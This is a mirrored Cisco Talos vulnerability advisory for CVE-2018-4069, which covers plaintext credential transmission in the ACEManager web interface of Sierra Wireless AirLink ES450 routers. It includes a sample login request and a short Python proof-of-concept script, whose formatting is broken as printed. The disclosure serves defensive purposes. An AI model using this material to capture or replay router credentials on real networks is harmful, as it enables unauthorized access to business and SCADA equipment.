what you don't know can hurt you

Sierra Wireless AirLink ES450 ACEManager Information Exposure

Sierra Wireless AirLink ES450 ACEManager Information Exposure
Posted Apr 27, 2019
Authored by Cisco Talos, Carl Hurd | Site talosintelligence.com

An information disclosure vulnerability exists in the ACEManager authentication functionality of Sierra Wireless AirLink ES450 FW 4.9.3. The ACEManager authentication functionality is done in plaintext XML to the web server. An attacker can listen to network traffic upstream from the device to capitalize on this vulnerability.

tags | exploit, web, info disclosure
advisories | CVE-2018-4069
MD5 | c154279339a8d9182105df73e74d6552

Sierra Wireless AirLink ES450 ACEManager Information Exposure

Change Mirror Download
Talos Vulnerability Report

TALOS-2018-0754

Sierra Wireless AirLink ES450 ACEManager Information Exposure Vulnerability
April 25, 2019

CVE Number

CVE-2018-4069

Summary

An information disclosure vulnerability exists in the ACEManager authentication functionality of Sierra Wireless AirLink ES450 FW 4.9.3. The ACEManager authentication functionality is done in plaintext XML to the web server. An attacker can listen to network traffic upstream from the device to capitalize on this vulnerability.

Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/
CVSSv3 Score

5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE

CWE-311: Missing Encryption of Sensitive Data

Details

Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

The authentication of ACEManager utilizes plaintext credentials for communication between the client and webserver. This plaintext authentication can be sniffed from the network and utilized to log into the device.
Authentication Request

POST /xml/Connect.xml HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 129
Cookie: token=1774ad8f3ee180cdd62e29611e1efc9c
Connection: close

<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[password012]]></password>
</connect>
</request>

These vulnerabilities were discovered and tested using the AirLink ES450. Most likely this vulnerabilities also affects the AirLink GX450 product as well.

Exploit Proof of Concept

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import requests

from requests_toolbelt.utils import dump

def auth(ip, port, password):
data = """<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[{}]]></password>
</connect>
</request>""".format(password)

response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)

data = dump.dump_all(response) print(data.decode('utf-8'))

def main():
if len(sys.argv) < 4 or len(sys.argv) > 4:
print("Usage : {} [ip address] [port] [password of user]".format(sys.argv[0]))
sys.exit(0)

ip = sys.argv[1]
port = sys.argv[2]
password = sys.argv[3]

auth(ip, port, password)


if __name__ == "__main__":
main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor's analysis of issues
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release

Credit

Discovered by Carl Hurd of Cisco Talos.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close